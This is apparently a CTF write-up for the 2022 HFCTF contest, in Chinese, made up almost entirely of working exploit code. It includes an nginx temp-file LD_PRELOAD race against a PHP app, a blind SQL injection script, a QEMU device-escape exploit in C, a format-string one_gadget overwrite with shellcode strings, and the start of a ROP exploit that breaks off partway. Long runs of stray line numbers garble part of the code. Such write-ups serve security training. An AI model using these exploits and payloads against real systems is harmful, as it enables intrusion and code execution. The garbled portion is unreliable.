

2022虎符CTF

Web

ezphp

Python

```
1  import requests
2  import threading
3  import multiprocessing
4  import threading
5  import random
6
7  SERVER = "http://120.79.121.132:20674"
8  NGINX_PIDS_CACHE = set([x for x in range(10,15)])
9  # Set the following to True to use the above set of PIDs instead of scanning:
10 USE_NGINX_PIDS_CACHE = True
11
12 def create_requests_session():
13     session = requests.Session()
14     # Create a large HTTP connection pool to make HTTP requests as fast as
15     # possible without TCP handshake overhead
16     adapter = requests.adapters.HTTPAdapter(pool_connections=1000,
17     pool_maxsize=10000)
18     session.mount('http://', adapter)
19     return session
20
21 def get_nginx_pids(requests_session):
22     if USE_NGINX_PIDS_CACHE:
23         return NGINX_PIDS_CACHE
24     nginx_pids = set()
25     # Scan up to PID 200
26     for i in range(1, 200):
27         cmdline = requests_session.get(SERVER + f"/index.php?
28         env=LD_PRELOAD%3D/proc/{i}/cmdline").text
29         if cmdline.startswith("nginx: worker process"):
30             nginx_pids.add(i)
31     return nginx_pids
32
33 def send_payload(requests_session, body_size=1024000):
34     try:
35         # The file path (/bla) doesn't need to exist - we simply need to
36         # upload a large body to Nginx and fail fast
```

upload a large body to nginx and fast

```
33         payload = open("hack.so", "rb").read()
34         requests_session.post(SERVER + "/index.php?action=read&file=/bla",
data=(payload + (b"a" * (body_size - len(payload)))))
35     except:
36         pass
37
38 def send_payload_worker(requests_session):
39     while True:
40         send_payload(requests_session)
41
42 def send_payload_multiprocess(requests_session):
43     # Use all CPUs to send the payload as request body for Nginx
44     for _ in range(multiprocessing.cpu_count()):
45         p = multiprocessing.Process(target=send_payload_worker, args=
(requests_session,))
46         p.start()
47
48 def generate_random_path_prefix(nginx_pids):
49     # This method creates a path from random amount of ProcFS path components.
A generated path will look like /proc/<nginx pid 1>/cwd/proc/<nginx pid
2>/root/proc/<nginx pid 3>/root
50     path = ""
51     component_num = random.randint(0, 10)
52     for _ in range(component_num):
53         pid = random.choice(nginx_pids)
54         if random.randint(0, 1) == 0:
55             path += f"/proc/{pid}/cwd"
56         else:
57             path += f"/proc/{pid}/root"
58     return path
59
60 def read_file(requests_session, nginx_pid, fd, nginx_pids):
61     nginx_pid_list = list(nginx_pids)
62     while True:
63         path = generate_random_path_prefix(nginx_pid_list)
64         path += f"/proc/{nginx_pid}/fd/{fd}"
65         try:
66             d = requests_session.get(SERVER + f"/index.php?
env=LD_PRELOAD%3D{path}").text
67         except:
68             continue
69         # Flags are formatted as hxp{<flag>}
70         if "HFCTF" in d:
71             print("Found flag! ")
72             print(d)
73
74 def read_file_worker(requests_session, nginx_pid, nginx_pids):
```

```

75     # Scan Nginx FDs between 10 - 45 in a loop. Since files and sockets keep
       closing - it's very common for the request body FD to open within this range
76     for fd in range(10, 45):
77         thread = threading.Thread(target = read_file, args =
       (requests_session, nginx_pid, fd, nginx_pids))
78         thread.start()
79
80 def read_file_multiprocess(requests_session, nginx_pids):
81     for nginx_pid in nginx_pids:
82         p = multiprocessing.Process(target=read_file_worker, args=
       (requests_session, nginx_pid, nginx_pids))
83         p.start()
84
85 if __name__ == "__main__":
86     print('[DEBUG] Creating requests session')
87     requests_session = create_requests_session()
88     print('[DEBUG] Getting Nginx pids')
89     nginx_pids = get_nginx_pids(requests_session)
90     print(f'[DEBUG] Nginx pids: {nginx_pids}')
91     print('[DEBUG] Starting payload sending')
92     send_payload_multiprocess(requests_session)
93     print('[DEBUG] Starting fd readers')
94     read_file_multiprocess(requests_session, nginx_pids)

```

ezsql

Haskell

```
1 import requests,string
2
3
4 #先不加后缀 用_占位 然后爆破出正常字符
5 #然后再把特殊字符一个一个拿出来梭哈
6 url ="http://120.79.121.132:20674/login"
7 # print(requests.get("http://www.baidu.com").text)
8 # username QaY8TeFYzC67aeo0
9 txt ="abcdefghijklmnopqrstuvwxy"
10 TXT ="ABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890!@#%&*'"
11 txt=txt+TXT
12 #password m52fpldxyylb_eizar_8gxh_
13 password=""
14 for y in range(24):
15     for x in txt:
16
17         payload=f'1' || case'1'when`username`like'^{password+x}'COLLATE`utf8mb4_bin`then
18             'aaa'regexp'^a'else~0+~0+'1'end='0'
19         data={
20             "username":payload,
21             "password":"123"
22         }
23         print(data)
24         a=requests.post(url,data=data).text
25         if("401" in a):
26             password = password + x
27             print("password:==="+password)
```

PWN

hfdev

timer_mod条件竞争，配合off_by_one

C++

```
1 //gcc -m32 pmio.c -static -O0 -o pmio
2 //sudo ./pmio
3 #include <assert.h>
4 #include <fcntl.h>
5 #include <inttypes.h>
6 #include <stdio.h>
7 #include <stdlib.h>
8 #include <string.h>
```

```

8 // #include <asm/io.h>
9 #include <sys/mman.h>
10 #include <sys/types.h>
11 #include <unistd.h>
12 #include <sys/io.h>
13 // #include <asm/io.h>
14 // #include <linux/ioport.h>
15
16
17 #define PAGE_SHIFT 12
18 #define PAGE_SIZE (1 << PAGE_SHIFT)
19 #define PFN_PRESENT (1ull << 63)
20 #define PFN_PFN ((1ull << 55) - 1)
21
22 char *userbuf;
23 uint64_t phy_userbuf;
24 unsigned char* mmio_mem;
25
26 uint32_t pmoi_base = 0x000c040; //cat
    /sys/devices/pci0000\:00/0000:00:04.0/resource
27
28 void die(const char* msg)
29 {
30     perror(msg);
31     exit(-1);
32 }
33
34 uint64_t page_offset(uint64_t addr)
35 {
36     return addr & ((1 << PAGE_SHIFT) - 1);
37 }
38
39 uint64_t gva_to_gfn(void *addr)
40 {
41     uint64_t pme, gfn;
42     size_t offset;
43
44     int fd = open("/proc/self/pagemap", O_RDONLY);
45     if (fd < 0) {
46         die("open pagemap");
47     }
48     offset = ((uintptr_t)addr >> 9) & ~7;
49     lseek(fd, offset, SEEK_SET);
50     read(fd, &pme, 8);
51     if (!(pme & PFN_PRESENT))
52         return -1;
53     gfn = pme & PFN_PFN;
54     return gfn;

```

```

55 }
56
57 uint64_t gva_to_gpa(void *addr)
58 {
59     uint64_t gfn = gva_to_gfn(addr);
60     assert(gfn != -1);
61     return (gfn << PAGE_SHIFT) | page_offset((uint64_t)addr);
62 }
63
64
65
66 void pmio_write(uint32_t addr , uint32_t value)
67 {
68     outw(value,addr); //写四个字节
69 }
70
71 uint32_t pmio_read(uint32_t addr)
72 {
73     return (uint32_t)inw(addr);
74 }
75
76
77 int main(int argc, char* argv[])
78 {
79
80     printf("start\n");
81     if(iopl(3) != 0)
82         die("I/O permission is not enough");
83
84     userbuf = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED |
MAP_ANONYMOUS, -1, 0);
85     if (userbuf == MAP_FAILED)
86         die("mmap");
87
88     mlock(userbuf, 0x1000);
89     phy_userbuf=gva_to_gpa(userbuf);
90     printf("user buff virtual address: %p\n",userbuf);
91     printf("user buff physical address: %p\n", (void*)phy_userbuf);
92     uint32_t cmd;
93     uint16_t subcmd,size_;
94     uint64_t leak_heap;
95     //-----
96
97     //
98     if (argv[1][0] == '1'){ // 2202
99         uint8_t buf[0x400] = {
100             0x10, 0x00, 0x00, 0x02, 0x22, 0x00, 0x02,
101             [7 ... 0x3ff] = 0x30

```

```

102     };
103     memcpy(userbuf,buf,0x400);
104
105     pmio_write(pmoi_base+2 , phy_userbuf & 0xffff);//
106     pmio_write(pmoi_base+4 , (phy_userbuf & 0xffff0000) >> 16 );
107     pmio_write(pmoi_base+6 , 0x400);//size
108
109     // pmio_write(pmoi_base+0xa , 1);
110     pmio_write(pmoi_base+0xc , 1);
111 }
112 else if (argv[1][0] == '2'){ // 30 a70->0x300
113     uint8_t buf[0x400] = {
114         0x30, 0x00, 0x01, 0x00, 0x00,
115         [5 ... 0x3ff] = 0x30
116     };
117     memcpy(userbuf,buf,0x400);
118
119     pmio_write(pmoi_base+2 , phy_userbuf & 0xffff);//
120     pmio_write(pmoi_base+4 , (phy_userbuf & 0xffff0000) >> 16 );//2220
121     pmio_write(pmoi_base+6 , 0x400);//size
122
123     pmio_write(pmoi_base+0xc , 1);
124 }
125 else if (argv[1][0] == '3'){ // 2022 -> overflow
126     uint8_t buf[0x400] = {
127         0x10, 0x00, 0x00, 0x22, 0x20, 0x00, 0x03,
128         [7 ... 0x2ff] = 0x30,
129         [0x300 ... 0x3ff] = 0xff
130
131     };
132     memcpy(userbuf,buf,0x400);
133
134
135     pmio_write(pmoi_base+2 , phy_userbuf & 0xffff);//
136     pmio_write(pmoi_base+4 , (phy_userbuf & 0xffff0000) >> 16 );//2220
137     pmio_write(pmoi_base+6 , 0x400);//size
138
139     pmio_write(pmoi_base+0xc , 1);
140 }
141 else if (argv[1][0] == '4'){ // 30 a70->308
142     uint8_t buf[0x400] = {
143         0x30, 0x08, 0x00, 0x00, 0x01,
144         [5 ... 0xff] = 0x30,
145         [0x100 ... 0x107] = 0xaa,
146         [0x108 ... 0x110] = 0xbb
147     };
148     memcpy(userbuf,buf,0x400);
149

```

```

150     pmio_write(pmoi_base+2 , phy_userbuf & 0xffff);//
151     pmio_write(pmoi_base+4 , (phy_userbuf & 0xffff0000) >> 16 );//2220
152     pmio_write(pmoi_base+6 , 0x400);//size
153
154     pmio_write(pmoi_base+0xc , 1);
155 }
156 else if (argv[1][0] == '5')
157     pmio_write(pmoi_base+0xa , 0x80);
158 else if (argv[1][0] == '6'){ // 2022 + 30 race
159     if (fork() == 0){ // 2022
160         sleep(1);
161         uint8_t buf[0x400] = {
162             0x10, 0x00, 0x00, 0x22, 0x20, 0x08, 0x03,
163             [7 ... 0x307] = 0x40,
164             [0x308 ... 0x3ff] = 0x98
165
166         };
167         memcpy(userbuf,buf,0x400);
168
169
170         pmio_write(pmoi_base+2 , phy_userbuf & 0xffff);//
171         pmio_write(pmoi_base+4 , (phy_userbuf & 0xffff0000) >> 16 );//2220
172         pmio_write(pmoi_base+6 , 0x400);//size
173
174         pmio_write(pmoi_base+0xc , 1);
175         if(fork() == 0){ //2202
176             uint8_t buf[0x400] = {
177                 0x10, 0x00, 0x00, 0x02, 0x22, 0x00, 0x02,
178                 [7 ... 0x3ff] = 0x30
179             };
180             memcpy(userbuf,buf,0x400);
181
182             pmio_write(pmoi_base+2 , phy_userbuf & 0xffff);//
183             pmio_write(pmoi_base+4 , (phy_userbuf & 0xffff0000) >> 16 );
184             pmio_write(pmoi_base+6 , 0x400);//size
185
186             // pmio_write(pmoi_base+0xa , 1);
187             pmio_write(pmoi_base+0xc , 1);
188         }
189     }
190     else{ // 30
191         uint8_t buf[0x400] = {
192             0x30, 0x00, 0x01, 0x00, 0x00,
193             [5 ... 0xff] = 0x30,
194             [0x100 ... 0x107] = 0xaa,
195             [0x108 ... 0x110] = 0xbb
196
197         };

```



```

197         memcpy(userbuf,buf,0x400);
198
199         pmio_write(pmoi_base+2 , phy_userbuf & 0xffff);//
200         pmio_write(pmoi_base+4 , (phy_userbuf & 0xffff0000) >> 16 );//2220
201         pmio_write(pmoi_base+6 , 0x400);//size
202
203         pmio_write(pmoi_base+0xc , 1);
204         sleep(12);
205         printf("done\n");
206
207     }
208 }
209 else if (argv[1][0] == '7'){ //leakleak
210     uint8_t buf[0x400] = {
211         0x20,0,0,0,0,0,0,0,
212         0,0x00,0x4
213     };
214     memcpy(buf+1, &phy_userbuf, 4);
215     memcpy(userbuf,buf,0x400);
216
217     pmio_write(pmoi_base+2 , phy_userbuf & 0xffff);//
218     pmio_write(pmoi_base+4 , (phy_userbuf & 0xffff0000) >> 16 );//2220
219     pmio_write(pmoi_base+6 , 0x400);//size
220
221     pmio_write(pmoi_base+0xc , 1);
222     uint64_t* leak_buf = (uint64_t*)userbuf;
223     leak_heap = leak_buf[0x40] + 0x1348;
224
225     for(int i=0;i<0x400/8;i++)
226         printf("leak:0x%llx 0x%llx\n ",leak_buf[i],i);
227     printf("*leak:0x%llx\n ",leak_heap);
228
229     }//////////
230 else if (argv[1][0] == '8'){ //2202 overflow
231     uint8_t buf[0x400] = {
232         0x10, 0x00, 0x00, 0x22, 0x20, 0x00, 0x03,
233         [7 ... 0x2ff] = 0x30,
234         [0x300 ... 0x3ff] = 0xff
235
236     };
237
238     memcpy(userbuf,buf,0x400);
239
240
241     pmio_write(pmoi_base+2 , phy_userbuf & 0xffff);//
242     pmio_write(pmoi_base+4 , (phy_userbuf & 0xffff0000) >> 16 );//2220
243     pmio_write(pmoi_base+6 , 0x400);//size
244

```

```

245     pmio_write(pmoi_base+0xc , 1);
246 }
247 else if (argv[1][0] == 'g')
248     pmio_write(pmoi_base+0xa , 0);
249 else if (argv[1][0] == 'a') //30 a70->0x317
250 {
251     uint8_t buf[0x400] = {
252         0x30, 0x17, 0x00, 0x00, 0x01,
253         [5 ... 0xff] = 0x30,
254         [0x100 ... 0x107] = 0xaa,
255         [0x108 ... 0x3ff] = 0x0
256     };
257
258     char * leftover;
259     leak_heap = strtoul(argv[2], &leftover, 16) - 0x10;
260     memcpy(buf+0x110, &leak_heap, 8);
261     memcpy(userbuf, buf, 0x400);
262
263     pmio_write(pmoi_base+2 , phy_userbuf & 0xffff);//
264     pmio_write(pmoi_base+4 , (phy_userbuf & 0xffff0000) >> 16 );//2220
265     pmio_write(pmoi_base+6 , 0x400);//size
266
267     pmio_write(pmoi_base+0xc , 1);
268 }
269 else if (argv[1][0] == 'b')
270     pmio_write(pmoi_base+0xa , 0x80);
271 else if (argv[1][0] == 'c'){ // 2022 + 30 race
272     if (fork() == 0){ // 2022
273         sleep(1);
274         char * leftover;
275         leak_heap = strtoul(argv[2], &leftover, 16);
276         uint64_t leak_heap_xor = (leak_heap - 0x12c8) ^ (leak_heap);
277         printf("leak_heap:0x%llx\n", leak_heap);
278         printf("leak_xor:0x%llx\n", leak_heap_xor);
279         uint8_t buf[0x400] = {
280             0x10, 0x00, 0x00, 0x22, 0x20, 0x18, 0x03,
281             [7 ... 0x307] = 0x00,
282             [0x308 ... 0x30f] = 0xaa,
283             [0x310 ... 0x31f] = 0xbb,
284             [0x320 ... 0x32f] = 0xcc,
285             [0x330 ... 0x33f] = 0xdd,
286             [0x340 ... 0x34f] = 0xee,
287             [0x350 ... 0x35f] = 0xff,
288
289             };
290
291         uint64_t*tmp = buf+0x30f;
292         *tmp = leak_heap_xor;

```

```

292     *tmp = leak_heap_xor;
293
294     tmp = buf+0x30f+8;
295     *tmp = (leak_heap - 0x12c0)^(leak_heap - 0x10);
296
297     printf("leak_xor_2:0x%llx\n",*tmp);
298     memcpy(userbuf,buf,0x400);
299
300     pmio_write(pmoi_base+2 , phy_userbuf & 0xffff);//
301     pmio_write(pmoi_base+4 , (phy_userbuf & 0xffff0000) >> 16 );//2220
302     pmio_write(pmoi_base+6 , 0x400);//size
303
304     pmio_write(pmoi_base+0xc , 1);
305     if(fork() == 0){ //2202
306         uint8_t buf[0x400] = {
307             0x10, 0x00, 0x00, 0x02, 0x22, 0x00, 0x02,
308             [7 ... 0x3ff] = 0x30
309         };
310         memcpy(userbuf,buf,0x400);
311
312         pmio_write(pmoi_base+2 , phy_userbuf & 0xffff);//
313         pmio_write(pmoi_base+4 , (phy_userbuf & 0xffff0000) >> 16 );
314         pmio_write(pmoi_base+6 , 0x400);//size
315
316         // pmio_write(pmoi_base+0xa , 1);
317         pmio_write(pmoi_base+0xc , 1);
318     }
319 }
320 else{ // 30
321     uint8_t buf[0x400] = {
322         0x30, 0x00, 0x01, 0x00, 0x00,
323         [5 ... 0xff] = 0x30,
324         [0x100 ... 0x107] = 0xaa,
325         [0x108 ... 0x110] = 0xbb
326     };
327     memcpy(userbuf,buf,0x400);
328
329     pmio_write(pmoi_base+2 , phy_userbuf & 0xffff);//
330     pmio_write(pmoi_base+4 , (phy_userbuf & 0xffff0000) >> 16 );//2220
331     pmio_write(pmoi_base+6 , 0x400);//size
332
333     pmio_write(pmoi_base+0xc , 1);
334     sleep(12);
335     printf("done\n");
336
337 }
338 }
339 else if (argv[1][0] == 'd'){ //leakleak

```

```

340     uint8_t buf[0x400] = {
341         0x20,0,0,0,0,0,0,0,
342         0,0x00,0x4
343     };
344     memcpy(buf+1, &phy_userbuf, 4);
345     memcpy(userbuf,buf,0x400);
346
347     pmio_write(pmoi_base+2 , phy_userbuf & 0xffff);//
348     pmio_write(pmoi_base+4 , (phy_userbuf & 0xffff0000) >> 16 );//2220
349     pmio_write(pmoi_base+6 , 0x400);//size
350
351     pmio_write(pmoi_base+0xc , 1);
352     uint64_t* leak_buf = (uint64_t*)userbuf;
353     for(int i=0;i<0x400/8;i++)
354         printf("leak:0x%llx 0x%llx\n ",leak_buf[i],i);
355     leak_heap = leak_buf[0x40];
356     printf("leak_base:0x%llx \n ",leak_heap);
357
358     }//////////
359     else if (argv[1][0] == 'e'){ // 2022 -> overflow
360         uint8_t buf[0x400] = {
361             0x10, 0x00, 0x00, 0x22, 0x20, 0x00, 0x03,
362             [7 ... 0x2ff] = 0x30,
363             [0x300 ... 0x3ff] = 0xff
364
365         };
366         memcpy(userbuf,buf,0x400);
367
368
369         pmio_write(pmoi_base+2 , phy_userbuf & 0xffff);//
370         pmio_write(pmoi_base+4 , (phy_userbuf & 0xffff0000) >> 16 );//2220
371         pmio_write(pmoi_base+6 , 0x400);//size
372
373         pmio_write(pmoi_base+0xc , 1);
374     }
375     else if (argv[1][0] == 'f'){ // 30 a70->0x300
376         uint8_t buf[0x400] = {
377             0x30, 0x00, 0x01, 0x00, 0x00,
378             [5 ... 0x10] = 0xff,
379             [0x11 ... 0x3ff] = 0
380         };
381         char * leftover;
382         uint64_t leak_heap1 = strtoul(argv[2], &leftover, 16) + 0x2D6610 -
0x0381190;
383         uint64_t leak_heap2 = strtoul(argv[3], &leftover, 16)-0x12a0+0x30;
384         uint64_t leak_heap3 = leak_heap2-0x110f240+0x1270;
385         memcpy(buf+0x10,&leak_heap3,8);
386         memcpy(buf+0x18,&leak_heap1,8);

```

```

387         memcpy(buf+0x20,&leak_heap2,8);
388         buf[0x28 + 0x30] = 'c';
389         buf[0x29 + 0x30] = 'a';
390         buf[0x2a + 0x30] = 't';
391         buf[0x2b + 0x30] = ' ';
392         buf[0x2c + 0x30] = ' ';
393         buf[0x2d + 0x30] = 'f';
394         buf[0x2e + 0x30] = 'l';
395         buf[0x2f + 0x30] = 'a';
396         buf[0x30 + 0x30] = 'g';
397         buf[0x31 + 0x30] = ';';
398         buf[0x32 + 0x30] = ' ';
399         memcpy(userbuf,buf,0x400);
400
401         pmio_write(pmoi_base+2 , phy_userbuf & 0xffff);//
402         pmio_write(pmoi_base+4 , (phy_userbuf & 0xffff0000) >> 16 );//2220
403         pmio_write(pmoi_base+6 , 0x400);//size
404
405         pmio_write(pmoi_base+0xc , 1);
406     }
407
408     return 0;
409     // pause 6 12
410 }
411
412

```

babygame

格式化字符串

Apache

```

1  # -*- coding:utf-8 -*-
2  from pwn import *
3  import ctypes
4  context.log_level = 'debug'
5  context.arch = 'amd64'
6  context.terminal=['tmux', 'splitw', '-h']
7  prog = './babygame'
8  #elf = ELF(prog)
9  #p = process(prog)#,env={"LD_PRELOAD":"./libc-2.27.so"})
10 libc = ELF("./libc-2.31.so")
11 p = remote("120.25.205.249",31427)
12 def debug(addr,PIE=True):
13     debug_str = ""
14     if PIE:

```

```

15         text_base = int(os.popen("pmap {} | awk '{{print
$1}}'".format(p.pid)).readlines()[1], 16)
16         for i in addr:
17             debug_str+='b *{}\n'.format(hex(text_base+i))
18         gdb.attach(p,debug_str)
19     else:
20         for i in addr:
21             debug_str+='b *{}\n'.format(hex(i))
22         gdb.attach(p,debug_str)
23
24 def dbg():
25     gdb.attach(p)
26     #-----
27     s      = lambda data          :p.send((data))          #in case that data
is an int
28     sa     = lambda delim,data    :p.sendafter(str(delim), (data))
29     sl     = lambda data          :p.sendline((data))
30     sla    = lambda delim,data    :p.sendlineafter(str(delim), (data))
31     r      = lambda numb=4096     :p.recv(numb)
32     ru     = lambda delims, drop=True :p.recvuntil(delims, drop)
33     it     = lambda              :p.interactive()
34     uu32   = lambda data          :u32(data.ljust(4, '\0'))
35     uu64   = lambda data          :u64(data.ljust(8, '\0'))
36     bp     = lambda bkp          :pdbg.bp(bkp)
37     li     = lambda str1,data1    :log.success(str1+'=====>' +hex(data1))
38
39
40 def dbgc(addr):
41     gdb.attach(p,"b*" + hex(addr) +" \n c")
42
43 def lg(s,addr):
44     print('\033[1;31;40m%20s-->0x%x\033[0m'%(s,addr))
45
46 sh_x86_18="\x6a\x0b\x58\x53\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80"
47 sh_x86_20="\x31\xc9\x6a\x0b\x58\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80"
48 sh_x64_21="\xf7\xe6\x50\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x48\x89\xe7\xb0\x3b\x0f\x05"
49 #https://www.exploit-db.com/shellcodes
50     #-----
51
52 def exp():
53     #debug([0x14db,0x1449,0x1565])
54     table = []

```

```

55
56     lib = ctypes.cdll.LoadLibrary("./libc-2.31.so")
57     time0 = lib.time(0)
58     lg("time0",time0)
59     sa("name:", "a"*0xe0)
60     ru("a"*0xe0)
61     leak = uu64(r(6)) + 0x7fffffffdcf8 - 0x7fffffffde06
62
63     lib.srand(time0)
64     for i in range(100):
65
66         rand_num = lib.rand()
67         print "rand_num: "+hex(rand_num)
68         rand_num %= 3
69         if rand_num == 0:
70             sla(':', '\n', '1')
71         elif rand_num ==1:
72             sla(':', '\n', '2')
73         elif rand_num ==2:
74             sla(':', '\n', '0')
75     sa('you.', "%62c%8$hhn%9$p".ljust(0x10,'a') + p64(leak))
76     ru('0x')
77     leak_libc = int(ru('a'),16) + 0x7ffff7dba000- 0x7ffff7e1bd6f
78
79     lg("leak_libc:",leak_libc)
80     lg("leak", leak)
81
82     one = leak_libc + 0xe3b31
83     l1 = one&0xff
84     l2 = (one&0xff00)>>8
85     l3 = (one&0xff0000)>>16
86
87     lg("one:",one)
88     leak_stack = leak +0x7fffffffde28-0x7fffffffdcf8
89     sa('you.', "%{ }c%14$hhn%{ }c%15$hhn%{ }c%16$hhn".format(l1,0x100-
l1+l2,0x100-l2+l3).ljust(0x40,'a') + p64(leak_stack) + p64(leak_stack+1) +
p64(leak_stack+2))
90
91     it()
92 if __name__ == '__main__':
93     exp()

```

gogogo

go逆向 AI猜谜搜一下 栈溢出 构造rop链

Python

```
1  # -*- coding:utf-8 -*-
2  from socket import timeout
3  from pwn import *
4  context.log_level = 'debug'
5  context.terminal=['tmux', 'splitw', '-h']
6  import time, random
7  prog = './gogogo'
8  #elf = ELF(prog)#nc 121.36.194.21 49155
9  p = process(prog)#,env={"LD_PRELOAD":"./libc-2.27.so"})
10 # libc = ELF("/lib/x86_64-linux-gnu/libc-2.31.so")
11
12 def debug(addr,PIE=True):
13     debug_str = ""
14     if PIE:
15         text_base = int(os.popen("pmap {}| awk '{{print
16 $1}}'".format(p.pid)).readlines()[1], 16)
17         for i in addr:
18             debug_str+='b *{}\n'.format(hex(text_base+i))
19         gdb.attach(p,debug_str)
20     else:
21         for i in addr:
22             debug_str+='b *{}\n'.format(hex(i))
23         gdb.attach(p,debug_str)
24
25 def dbg():
26     gdb.attach(p)
27
28 -----
29
30 s      = lambda data          :p.send(str(data))          #in case that
31 data is an int
32
33 sa     = lambda delim,data    :p.sendafter(str(delim), str(data))
34
35 sl     = lambda data          :p.sendline(str(data))
36
37 sla    = lambda delim,data    :p.sendlineafter(str(delim), str(data))
38
39 r      = lambda numb=4096     :p.recv(numb)
40
41 ru     = lambda delims, drop=True :p.recvuntil(delims, drop)
42
43 it     = lambda              :p.interactive()
44
45 uu32   = lambda data         :u32(data.ljust(4, '\0'))
46
47 uu64   = lambda data         :u64(data.ljust(8, '\0'))
48
49 bp     = lambda bkp          :pdbg.bp(bkp)
50
51 li     = lambda str1,data1    :log.success(str1+'=====>' +hex(data1))
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
```



```

43 def lg(s,addr):
44     print('\033[1;31;40m%20s-->0x%x\033[0m'%(s,addr))
45
46 sh_x86_18="\x6a\x0b\x58\x53\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80"
47 sh_x86_20="\x31\xc9\x6a\x0b\x58\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80"
48 sh_x64_21="\xf7\xe6\x50\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x48\x89\xe7\xb0\x3b\x0f\x05"
49 #https://www.exploit-db.com/shellcodes
50 #-----
51 -----
52
53 def guessTrainer():
54     start =time.time()
55     # answer=getAnswer(testAnswer)
56     # print (answer)
57     answerSet=answerSetInit(set())
58     for i in range(6):
59         inputStrMax=suggestedNum(answerSet,100)
60         print('第%d步----' %(i+1))
61         print('尝试: ' +inputStrMax)
62         print('----')
63         AMax,BMax = compareAnswer(inputStrMax)
64         print('反馈: %dA%dB' % (AMax, BMax))
65         print('----')
66         print('排除可能答案: %d个' %
(answerSetDelNum(answerSet, inputStrMax, AMax, BMax)))
67         answerSetUpd(answerSet, inputStrMax, AMax, BMax)
68         if AMax==4:
69             elapsed = (time.time() - start)
70             print("猜数字成功, 总用时: %f秒, 总步数: %d。" %(elapsed,i+1))
71             break
72         elif i==5:
73             print("猜数字失败! ")
74
75
76 def compareAnswer(inputStr):
77     inputStr1 = inputStr[0]+' '+inputStr[1]+' '+inputStr[2]+' '+inputStr[3]
78     p.sendline(inputStr1)
79     ru('\n')
80
81     tmp = p.recvuntil('B',timeout=0.5)
82     # print(tmp)
83     if tmp == '':
84         return 4,4
85     tmp = tmp.split("A")

```

```

86     A = tmp[0]
87     B = tmp[1].split('B')[0]
88     return int(A),int(B)
89
90 def compareAnswer1(inputStr,answerStr):
91     A=0
92     B=0
93     for j in range(4):
94         if inputStr[j]==answerStr[j]:
95             A+=1
96         else:
97             for k in range(4):
98                 if inputStr[j]==answerStr[k]:
99                     B+=1
100     return A,B
101
102 def answerSetInit(answerSet):
103     answerSet.clear()
104     for i in range(1234,9877):
105         seti=set(str(i))
